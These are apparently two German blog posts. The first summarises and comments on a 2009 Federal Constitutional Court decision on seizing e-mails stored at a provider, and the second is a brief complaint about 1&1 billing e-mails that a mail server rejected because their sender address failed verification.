Nunmehr hat man dort zu Ende gebrütet und im Ergebnis die Ansicht des BGH bestätigt bzw. ist noch über diese Ansicht hinausgegangen. Mit Beschluß vom 16.06.2009 - 2 BvR 902/06 - hat das BVerfG festgehalten, daß die Beschlagnahme von E-Mails, die beim Provider gelagert sind, zwar in das Grundrecht aus Art. 10 GG eingreift, die allgemeinen Beschlagnahmevorschriften aber (bei besonderer Beachtung des Verhältnismäßigkeitsgrundsatzes) zur Rechtfertigung des Eingriffs genügen, und die Verfassungsbeschwerde zurückgewiesen.

Im einzelnen finden sich folgende interessante Erwägungen in der Entscheidung:

Die strafprozessualen Regelungen der §§ 94 ff. StPO ermöglichen grundsätzlich die Sicherstellung und Beschlagnahme von E-Mails, die auf dem Mailserver des Providers gespeichert sind.

Das bedeutet, daß weder die Voraussetzungen des § 100a StPO noch - wie der BGH annahm - die Voraussetzungen des § 99 StPO (mit den Einschränkungen aus § 100 StPO bzgl. der Anordnungskompetenz und der Vorgehensweise) notwendig sind, sondern eine ganz einfache Beschlagnahme vorliegt.

Soweit Eingriffe der hier zu beurteilenden Art auf § 99 StPO [...] oder § 100a StPO [...] gestützt werden, wird dadurch die Anwendbarkeit der §§ 94 ff. StPO nicht in Frage gestellt.

Es schadet aber nicht, wenn die E-Mail-Beschlagnahme auf §§ 99, 100a StPO gestützt wird, weil das den Beschuldigten nicht belastet.

Unter diesen Umständen ist es zur Wahrung der Verhältnismäßigkeit nicht geboten, den Zugriff auf beim Provider gespeicherte E-Mails auf Ermittlungen zu begrenzen, die zumindest Straftaten von erheblicher Bedeutung betreffen, und Anforderungen an den Tatverdacht zu stellen, die über den Anfangsverdacht einer Straftat hinausgehen.

[...]

Soweit das Bundesverfassungsgericht im Rahmen der Verhältnismäßigkeitsprüfung von Einzelmaßnahmen, die auf Erlangung der bei einem Telekommunikationsmittler gespeicherten Verbindungsdaten gerichtet waren, eine Beschränkung auf Ermittlungen betreffend Straftaten von erheblicher Bedeutung für notwendig gehalten hat [...], kann dies auf die Sicherstellung und Beschlagnahme der beim Provider gespeicherten E-Mails nicht übertragen werden.

Die besonderen Voraussetzungen des § 100a StPO (Katalogtat, gesteigerter Tatverdacht) sind nicht erforderlich.

Dem Schutz des Fernmeldegeheimnisses muss bereits in der Durchsuchungsanordnung, soweit die konkreten Umstände dies ohne Gefährdung des Untersuchungszwecks erlauben, durch Vorgaben zur Beschränkung des Beweismaterials auf den tatsächlich erforderlichen Umfang Rechnung getragen werden, etwa durch die zeitliche Eingrenzung oder die Beschränkung auf bestimmte Kommunikationsinhalte.

Bei dem Vollzug von Durchsuchung und Beschlagnahme - insbesondere beim Zugriff auf umfangreiche elektronisch gespeicherte Datenbestände - sind die verfassungsrechtlichen Grundsätze zu gewährleisten, die der Senat in seinem Beschluss zur Durchsuchung und Beschlagnahme eines umfangreichen elektronischen Datenbestands [...] entwickelt hat. Hierbei ist vor allem darauf zu achten, dass die Gewinnung überschießender, für das Verfahren bedeutungsloser Daten nach Möglichkeit vermieden wird. Die Beschlagnahme sämtlicher gespeicherter Daten und damit des gesamten E-Mail-Verkehrs wird regelmäßig nicht erforderlich sein.

Letztlich ist also die Beschlagnahme beim Provider so durchzuführen, wie sie auch beim Beschuldigten selbst durchzuführen wäre; es macht keinen Unterschied, ob er seine (gelesenen und ungelesenen) E-Mails beim Provider in der Mailbox lagert oder sie (per POP3) abruft und daheim auf dem eigenen Rechner speichert.

Das BVerfG gibt dann noch Hinweise zu verfassungskonformen Ausgestaltung der E-Mail-Beschlagnahme:

Den sich aus dem Verhältnismäßigkeitsgrundsatz ergebenden Anforderungen kann bei der Sicherstellung und Beschlagnahme von auf dem Mailserver des Providers gespeicherten E-Mails in vielfältiger Weise Rechnung getragen werden.

a) Wird festgestellt, dass sich auf dem Mailserver überhaupt keine verfahrenserheblichen E-Mails befinden können, wäre eine Sicherstellung schon ungeeignet.

b) Soweit davon auszugehen ist, dass auf dem Mailserver unter anderem potenziell beweiserhebliche E-Mails gespeichert sind, ist zu prüfen, ob eine Sicherstellung aller gespeicherten E-Mails erforderlich ist. Der dauerhafte Zugriff auf den gesamten E-Mail-Bestand ist nicht erforderlich, wenn eine Sicherung allein der beweiserheblichen E-Mails auf eine andere, die Betroffenen weniger belastende Weise ebenso gut erreicht werden kann. Die Gewinnung überschießender und vertraulicher, für das Verfahren aber bedeutungsloser Informationen muss im Rahmen des Vertretbaren vermieden werden.

c) Soweit eine Unterscheidung der E-Mails nach ihrer potenziellen Verfahrenserheblichkeit vorgenommen werden kann, ist die Möglichkeit einer Trennung der potenziell beweiserheblichen von den restlichen E-Mails zu prüfen. In Betracht kommt neben dem Erstellen einer (Teil-)Kopie hinsichtlich der verfahrenserheblichen E-Mails das Löschen oder die Herausgabe der für das Verfahren irrelevanten E-Mails.

d) Je nach den Umständen des Einzelfalls können für die Begrenzung des Zugriffs unterschiedliche, miteinander kombinierbare Möglichkeiten der materiellen Datenzuordnung in Betracht gezogen werden. Sie müssen, bevor eine endgültige Beschlagnahme sämtlicher E-Mails erwogen wird, ausgeschöpft werden. Von Bedeutung ist hierbei vor allem die Auswertung der Struktur eines gespeicherten E-Mail-Bestands, der beispielweise themen-, zeit- oder personenbezogen geordnet sein oder geordnet werden kann. Bei der Suche nach ermittlungsrelevanten E-Mails ist auch eine Auswahl anhand bestimmter Übermittlungszeiträume oder Sender- und Empfängerangaben in Betracht zu ziehen. Eine Zuordnung der E-Mails nach ihrer Verfahrensrelevanz kann unter Umständen auch mit Hilfe geeigneter Suchbegriffe oder Suchprogramme gelingen.

e) Eine sorgfältige Sichtung und Trennung der E-Mails nach ihrer Verfahrensrelevanz wird am Zugriffsort nicht immer möglich sein. Sofern die Umstände des jeweiligen strafrechtlichen Vorwurfs und die - auch technische - Erfassbarkeit des Datenbestands eine unverzügliche Zuordnung nicht erlauben, muss die vorläufige Sicherstellung größerer Teile oder gar des gesamten E-Mail-Bestands erwogen werden, an die sich eine Durchsicht gemäß § 110 StPO zur Feststellung der potenziellen Beweiserheblichkeit und -verwertbarkeit der E-Mails anschließt.

Das Verfahrensstadium der Durchsicht gemäß § 110 StPO ist der endgültigen Entscheidung über den Umfang der Beschlagnahme vorgelagert [...]. Es entspricht dem Zweck des § 110 StPO, im Rahmen des technisch Möglichen und Vertretbaren lediglich diejenigen Informationen einem dauerhaften und damit vertiefenden Eingriff zuzuführen, die verfahrensrelevant und verwertbar sind. Während das Verfahren der Durchsicht auf der Grundlage der vorläufigen Sicherstellung zum Zweck der Feststellung der potenziellen Beweiserheblichkeit und -verwertbarkeit auf die Vermeidung eines dauerhaften und umfassenden staatlichen Zugriffs nebst den hiermit verbundenen Missbrauchsgefahren abzielt, würde bei einer endgültigen, bis zum Verfahrensabschluss wirkenden Beschlagnahme des gesamten E-Mail-Bestands der staatliche Zugriff zeitlich perpetuiert und damit erheblich intensiviert.

f) Ist den Strafverfolgungsbehörden im Verfahren der Durchsicht unter zumutbaren Bedingungen eine materielle Zuordnung der verfahrenserheblichen E-Mails einerseits oder eine Löschung oder Rückgabe der verfahrensunerheblichen E-Mails an den Nutzer andererseits nicht möglich, steht der Grundsatz der Verhältnismäßigkeit jedenfalls unter dem Gesichtspunkt der Erforderlichkeit der Maßnahme einer Beschlagnahme des gesamten Datenbestands nicht entgegen. Es muss dann aber im jeweiligen Einzelfall geprüft werden, ob der umfassende Datenzugriff dem Übermaßverbot Rechnung trägt.

Dieser Ausführungen offenbar (ein überraschendes) Augenmaß und einen Blick für die Praxis, in der bspw. eine Sichtung von Datenbeständen im Umfang mehrerer MB oder GB vor Ort nicht möglich ist (und auch sonst Wochen und länger in Anspruch nehmen kann - schon deshalb, weil sonst durch die Verteidigung mit Sicherheit der Einwand erhoben wird, bei der Suche nach Schlagworten seien entlastende E-Mails übersehen worden, die dann ggf. auch vorgelegt werden, unabhängig davon, ob sie zum Zeitpunkt der Durchsuchung schon bestanden oder nachträglich fabriziert wurden ...).

Man wird also größere E-Mail-Bestände zunächst komplett sicherstellen, dann komplett sichten können und erst dann entscheiden, welche davon als verfahrens- und beweisrelevant gespeichert bleiben und welche auszuhändigen oder zu löschen sind.

Das BVerfG übersieht im übrigen nicht, auch seine Rechtsprechung zum Kernbereichsschutz entsprechend anzuwenden:

g) Die nach Art. 1 Abs. 1 GG garantierte Unantastbarkeit der Menschenwürde fordert auch im Gewährleistungsbereich des Art. 10 GG Vorkehrungen zum Schutz individueller Entfaltung im Kernbereich privater Lebensgestaltung. Es kann nicht ausgeschlossen werden, dass bei der Erfassung der Kommunikationsinhalte personenbezogene Daten betroffen sind, die sich auf den Kernbereich höchstpersönlicher Lebensgestaltung beziehen.

Die weiteren Ausführungen dazu entsprechen der im Rahmen verdeckter Maßnahmen (TKÜ, “Lauschangriff”) gefestigten verfassungsgerichtlichen Judikatur.

Weiter konstituiert das BVerfG Benachrichtigungspflichten:

Werden in einem Postfach auf dem Mailserver des Providers eingegangene E-Mails sichergestellt, ist zum Schutz des Postfachinhabers, in dessen Recht auf Gewährleistung des Fernmeldegeheimnisses durch die Sicherstellung eingegriffen wird, zu fordern, dass er im Regelfall zuvor von den Strafverfolgungsbehörden unterrichtet wird, damit er jedenfalls bei der Sichtung seines E-Mail-Bestands seine Rechte wahrnehmen kann. Ausnahmen von der Unterrichtungspflicht können geboten sein, wenn die Kenntnis des Eingriffs in das Fernmeldegeheimnis dazu führen würde, dass dieser seinen Zweck verfehlt [...]. Werden auf dem Mailserver des Providers gespeicherte E-Mails ausnahmsweise ohne Wissen des Postfachinhabers sichergestellt, so ist dieser so früh, wie es die wirksame Verfolgung des Ermittlungszwecks erlaubt, zu unterrichten.

Auch insoweit wird die Beschlagnahme beim Provider also der Beschlagnahme beim Beschuldigten angenähert.

Schließlich erwägt das BVerfG Anwesenheits-, weitergehende Benachrichtigungspflichten und Löschungspflichten ähnlich den in § 101 StPO vorhandenen Regelungen für verdeckte Ermittlungsmaßnahmen (aber keine Kennzeichnungspflicht!), die es durch vorhandene Vorschriften der StPO (§§ 147, 385 Abs. 3, 397 Abs. 1 Satz 2 i.V.m § 385 Abs. 3, 406e, 475, 491, § 489 Abs. 2 StPO) bei entsprechender Auslegung abgedeckt sieht:

Zur Wahrung der Verhältnismäßigkeit kann es im Einzelfall von Verfassungs wegen geboten sein, den Inhaber der sichergestellten E-Mails in die Prüfung der Verfahrenserheblichkeit einzubeziehen.

[...]

Soweit E-Mails von den Ermittlungsbehörden gespeichert und ausgewertet werden, kann es geboten sein, den Betroffenen Auskunft über die Datenerhebung zu erteilen, um sie in den Stand zu versetzen, etwaige Grundrechtsbeeinträchtigungen abzuwehren.

[...]

Der begrenzte Zweck der Datenerhebung gebietet grundsätzlich die Rückgabe oder Löschung aller nicht zur Zweckerreichung benötigten kopierten E-Mails.

[...]

Einer Kennzeichnungspflicht [...] bedarf es bei der Sicherstellung und Beschlagnahme von auf dem Mailserver des Providers gespeicherten E-Mails aus verfassungsrechtlicher Sicht nicht.

Insgesamt eine erfreulich abgewogene, sehr interessante Entscheidung, die sicherlich weiteren Diskussions- und Besprechungsbedarf bietet. Aus zeitlichen Gründen kann ich leider vorerst nur den obigen ausschnittsweisen Überblick bieten.

1&1: Rechnungsversand mit ungültigem Absender

thh@inter.net (Thomas Hochstein) — Mon, 06 Jul 2009 22:00:00 +0200

Am Wochenende habe ich mich - endlich - mal wieder meiner Ablage gewidmet und Kontoauszüge, Rechnungen, Bestellungen, Gehaltsabrechungen, Steuerbescheide und was einem sonst noch so die sommerlichen Temperaturen verderben kann sortiert und abgelegt. Dabei stellte ich fest, daß mir für diverse Accounts bei 1&1 die Rechnungen aus dem Juni fehlten: Mai war da, Juli auch, Juni fehlt. Nachdem die Rechnungen per E-Mail versandt wurden, habe ich natürlich als erstes einmal nachgesehen, ob ich wohl vergessen hatte, sie auszudrucken; aber nein, es liegen auch keine E-Mails vor.

Eine genauere Untersuchung ergab dann, daß die Rechnungs-E-Mails nicht angenommen wurden, weil die entsprechenden E-Mails eine nicht-existente Absenderadresse aufwiesen:

2009-06-05 16:39:55 H=mbulk.1and1.com [212.227.126.221] F=<bill-iid-*********-200906051626-********************************@bounce.kundenserver.de> rejected RCPT <thh@*********.de>: Sender verify failed

Sehr nervig. Hilft also nur, den entsprechenden Mailserver (hier wohl mbulk.1and1.com) zu whitelisten. *brummel*